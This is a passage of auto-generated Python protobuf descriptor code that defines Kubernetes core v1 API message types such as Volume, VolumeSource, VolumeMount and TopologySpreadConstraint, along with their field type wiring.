file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.TopologySelectorLabelRequirement.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='values', full_name='k8s.io.api.core.v1.TopologySelectorLabelRequirement.values', index=1, number=2, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35783, serialized_end=35846, ) _TOPOLOGYSELECTORTERM = _descriptor.Descriptor( name='TopologySelectorTerm', full_name='k8s.io.api.core.v1.TopologySelectorTerm', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='matchLabelExpressions', full_name='k8s.io.api.core.v1.TopologySelectorTerm.matchLabelExpressions', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35848, serialized_end=35955, ) _TOPOLOGYSPREADCONSTRAINT = _descriptor.Descriptor( name='TopologySpreadConstraint', full_name='k8s.io.api.core.v1.TopologySpreadConstraint', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='maxSkew', full_name='k8s.io.api.core.v1.TopologySpreadConstraint.maxSkew', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='topologyKey', full_name='k8s.io.api.core.v1.TopologySpreadConstraint.topologyKey', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='whenUnsatisfiable', full_name='k8s.io.api.core.v1.TopologySpreadConstraint.whenUnsatisfiable', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='labelSelector', full_name='k8s.io.api.core.v1.TopologySpreadConstraint.labelSelector', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=35958, serialized_end=36125, ) _TYPEDLOCALOBJECTREFERENCE = _descriptor.Descriptor( name='TypedLocalObjectReference', full_name='k8s.io.api.core.v1.TypedLocalObjectReference', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='apiGroup', full_name='k8s.io.api.core.v1.TypedLocalObjectReference.apiGroup', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='kind', full_name='k8s.io.api.core.v1.TypedLocalObjectReference.kind', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.TypedLocalObjectReference.name', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36127, serialized_end=36200, ) _VOLUME = _descriptor.Descriptor( name='Volume', full_name='k8s.io.api.core.v1.Volume', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.Volume.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeSource', full_name='k8s.io.api.core.v1.Volume.volumeSource', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36202, serialized_end=36280, ) _VOLUMEDEVICE = _descriptor.Descriptor( name='VolumeDevice', full_name='k8s.io.api.core.v1.VolumeDevice', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.VolumeDevice.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='devicePath', full_name='k8s.io.api.core.v1.VolumeDevice.devicePath', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36282, serialized_end=36330, ) _VOLUMEMOUNT = _descriptor.Descriptor( name='VolumeMount', full_name='k8s.io.api.core.v1.VolumeMount', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.VolumeMount.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.VolumeMount.readOnly', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mountPath', full_name='k8s.io.api.core.v1.VolumeMount.mountPath', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='subPath', full_name='k8s.io.api.core.v1.VolumeMount.subPath', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='mountPropagation', full_name='k8s.io.api.core.v1.VolumeMount.mountPropagation', index=4, number=5, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='subPathExpr', full_name='k8s.io.api.core.v1.VolumeMount.subPathExpr', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36333, serialized_end=36461, ) _VOLUMENODEAFFINITY = _descriptor.Descriptor( name='VolumeNodeAffinity', full_name='k8s.io.api.core.v1.VolumeNodeAffinity', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='required', full_name='k8s.io.api.core.v1.VolumeNodeAffinity.required', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36463, serialized_end=36535, ) _VOLUMEPROJECTION = _descriptor.Descriptor( name='VolumeProjection', full_name='k8s.io.api.core.v1.VolumeProjection', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='secret', full_name='k8s.io.api.core.v1.VolumeProjection.secret', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='downwardAPI', full_name='k8s.io.api.core.v1.VolumeProjection.downwardAPI', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='configMap', full_name='k8s.io.api.core.v1.VolumeProjection.configMap', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='serviceAccountToken', full_name='k8s.io.api.core.v1.VolumeProjection.serviceAccountToken', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36538, serialized_end=36814, ) _VOLUMESOURCE = _descriptor.Descriptor( name='VolumeSource', full_name='k8s.io.api.core.v1.VolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='hostPath', full_name='k8s.io.api.core.v1.VolumeSource.hostPath', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='emptyDir', full_name='k8s.io.api.core.v1.VolumeSource.emptyDir', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='gcePersistentDisk', full_name='k8s.io.api.core.v1.VolumeSource.gcePersistentDisk', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='awsElasticBlockStore', full_name='k8s.io.api.core.v1.VolumeSource.awsElasticBlockStore', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='gitRepo', full_name='k8s.io.api.core.v1.VolumeSource.gitRepo', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secret', full_name='k8s.io.api.core.v1.VolumeSource.secret', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nfs', full_name='k8s.io.api.core.v1.VolumeSource.nfs', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='iscsi', full_name='k8s.io.api.core.v1.VolumeSource.iscsi', index=7, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='glusterfs', full_name='k8s.io.api.core.v1.VolumeSource.glusterfs', index=8, number=9, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='persistentVolumeClaim', full_name='k8s.io.api.core.v1.VolumeSource.persistentVolumeClaim', index=9, number=10, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='rbd', full_name='k8s.io.api.core.v1.VolumeSource.rbd', index=10, number=11, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='flexVolume', full_name='k8s.io.api.core.v1.VolumeSource.flexVolume', index=11, number=12, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cinder', full_name='k8s.io.api.core.v1.VolumeSource.cinder', index=12, number=13, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cephfs', full_name='k8s.io.api.core.v1.VolumeSource.cephfs', index=13, number=14, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='flocker', full_name='k8s.io.api.core.v1.VolumeSource.flocker', index=14, number=15, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='downwardAPI', full_name='k8s.io.api.core.v1.VolumeSource.downwardAPI', index=15, number=16, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fc', full_name='k8s.io.api.core.v1.VolumeSource.fc', index=16, number=17, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='azureFile', full_name='k8s.io.api.core.v1.VolumeSource.azureFile', index=17, number=18, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='configMap', full_name='k8s.io.api.core.v1.VolumeSource.configMap', index=18, number=19, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='vsphereVolume', full_name='k8s.io.api.core.v1.VolumeSource.vsphereVolume', index=19, number=20, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='quobyte', full_name='k8s.io.api.core.v1.VolumeSource.quobyte', index=20, number=21, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='azureDisk', full_name='k8s.io.api.core.v1.VolumeSource.azureDisk', index=21, number=22, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='photonPersistentDisk', full_name='k8s.io.api.core.v1.VolumeSource.photonPersistentDisk', index=22, number=23, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='projected', full_name='k8s.io.api.core.v1.VolumeSource.projected', index=23, number=26, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='portworxVolume', full_name='k8s.io.api.core.v1.VolumeSource.portworxVolume', index=24, number=24, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='scaleIO', full_name='k8s.io.api.core.v1.VolumeSource.scaleIO', index=25, number=25, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storageos', full_name='k8s.io.api.core.v1.VolumeSource.storageos', index=26, number=27, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='csi', full_name='k8s.io.api.core.v1.VolumeSource.csi', index=27, number=28, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='ephemeral', full_name='k8s.io.api.core.v1.VolumeSource.ephemeral', index=28, number=29, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=36817, serialized_end=38634, ) _VSPHEREVIRTUALDISKVOLUMESOURCE = _descriptor.Descriptor( name='VsphereVirtualDiskVolumeSource', full_name='k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumePath', full_name='k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource.volumePath', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storagePolicyName', full_name='k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource.storagePolicyName', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='storagePolicyID', full_name='k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource.storagePolicyID', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=38636, serialized_end=38756, ) _WEIGHTEDPODAFFINITYTERM = _descriptor.Descriptor( name='WeightedPodAffinityTerm', full_name='k8s.io.api.core.v1.WeightedPodAffinityTerm', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='weight', full_name='k8s.io.api.core.v1.WeightedPodAffinityTerm.weight', index=0, number=1, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='podAffinityTerm', full_name='k8s.io.api.core.v1.WeightedPodAffinityTerm.podAffinityTerm', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=38758, serialized_end=38861, ) _WINDOWSSECURITYCONTEXTOPTIONS = _descriptor.Descriptor( name='WindowsSecurityContextOptions', full_name='k8s.io.api.core.v1.WindowsSecurityContextOptions', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='gmsaCredentialSpecName', full_name='k8s.io.api.core.v1.WindowsSecurityContextOptions.gmsaCredentialSpecName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='gmsaCredentialSpec', full_name='k8s.io.api.core.v1.WindowsSecurityContextOptions.gmsaCredentialSpec', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='runAsUserName', full_name='k8s.io.api.core.v1.WindowsSecurityContextOptions.runAsUserName', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='hostProcess', full_name='k8s.io.api.core.v1.WindowsSecurityContextOptions.hostProcess', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=38864, serialized_end=38999, ) _AFFINITY.fields_by_name['nodeAffinity'].message_type = _NODEAFFINITY _AFFINITY.fields_by_name['podAffinity'].message_type = _PODAFFINITY _AFFINITY.fields_by_name['podAntiAffinity'].message_type = _PODANTIAFFINITY _AVOIDPODS.fields_by_name['preferAvoidPods'].message_type = _PREFERAVOIDPODSENTRY _BINDING.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _BINDING.fields_by_name['target'].message_type = _OBJECTREFERENCE _CSIPERSISTENTVOLUMESOURCE_VOLUMEATTRIBUTESENTRY.containing_type = _CSIPERSISTENTVOLUMESOURCE _CSIPERSISTENTVOLUMESOURCE.fields_by_name['volumeAttributes'].message_type = _CSIPERSISTENTVOLUMESOURCE_VOLUMEATTRIBUTESENTRY _CSIPERSISTENTVOLUMESOURCE.fields_by_name['controllerPublishSecretRef'].message_type = _SECRETREFERENCE _CSIPERSISTENTVOLUMESOURCE.fields_by_name['nodeStageSecretRef'].message_type = _SECRETREFERENCE _CSIPERSISTENTVOLUMESOURCE.fields_by_name['nodePublishSecretRef'].message_type = _SECRETREFERENCE _CSIPERSISTENTVOLUMESOURCE.fields_by_name['controllerExpandSecretRef'].message_type = _SECRETREFERENCE _CSIVOLUMESOURCE_VOLUMEATTRIBUTESENTRY.containing_type = _CSIVOLUMESOURCE _CSIVOLUMESOURCE.fields_by_name['volumeAttributes'].message_type = _CSIVOLUMESOURCE_VOLUMEATTRIBUTESENTRY _CSIVOLUMESOURCE.fields_by_name['nodePublishSecretRef'].message_type = _LOCALOBJECTREFERENCE _CEPHFSPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _SECRETREFERENCE _CEPHFSVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _CINDERPERSISTENTVOLUMESOURCE.fields_by_name['secretRef'].message_type = _SECRETREFERENCE _CINDERVOLUMESOURCE.fields_by_name['secretRef'].message_type = _LOCALOBJECTREFERENCE _COMPONENTSTATUS.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _COMPONENTSTATUS.fields_by_name['conditions'].message_type = _COMPONENTCONDITION _COMPONENTSTATUSLIST.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._LISTMETA _COMPONENTSTATUSLIST.fields_by_name['items'].message_type = _COMPONENTSTATUS _CONFIGMAP_DATAENTRY.containing_type = _CONFIGMAP _CONFIGMAP_BINARYDATAENTRY.containing_type = _CONFIGMAP _CONFIGMAP.fields_by_name['metadata'].message_type = k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2._OBJECTMETA _CONFIGMAP.fields_by_name['data'].message_type = _CONFIGMAP_DATAENTRY _CONFIGMAP.fields_by_name['binaryData'].message_type = _CONFIGMAP_BINARYDATAENTRY _CONFIGMAPENVSOURCE.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _CONFIGMAPKEYSELECTOR.fields_by_name['localObjectReference'].message_type = _LOCALOBJECTREFERENCE _CONFIGMAPLIST.fields_by_name['metadata'].message_type = 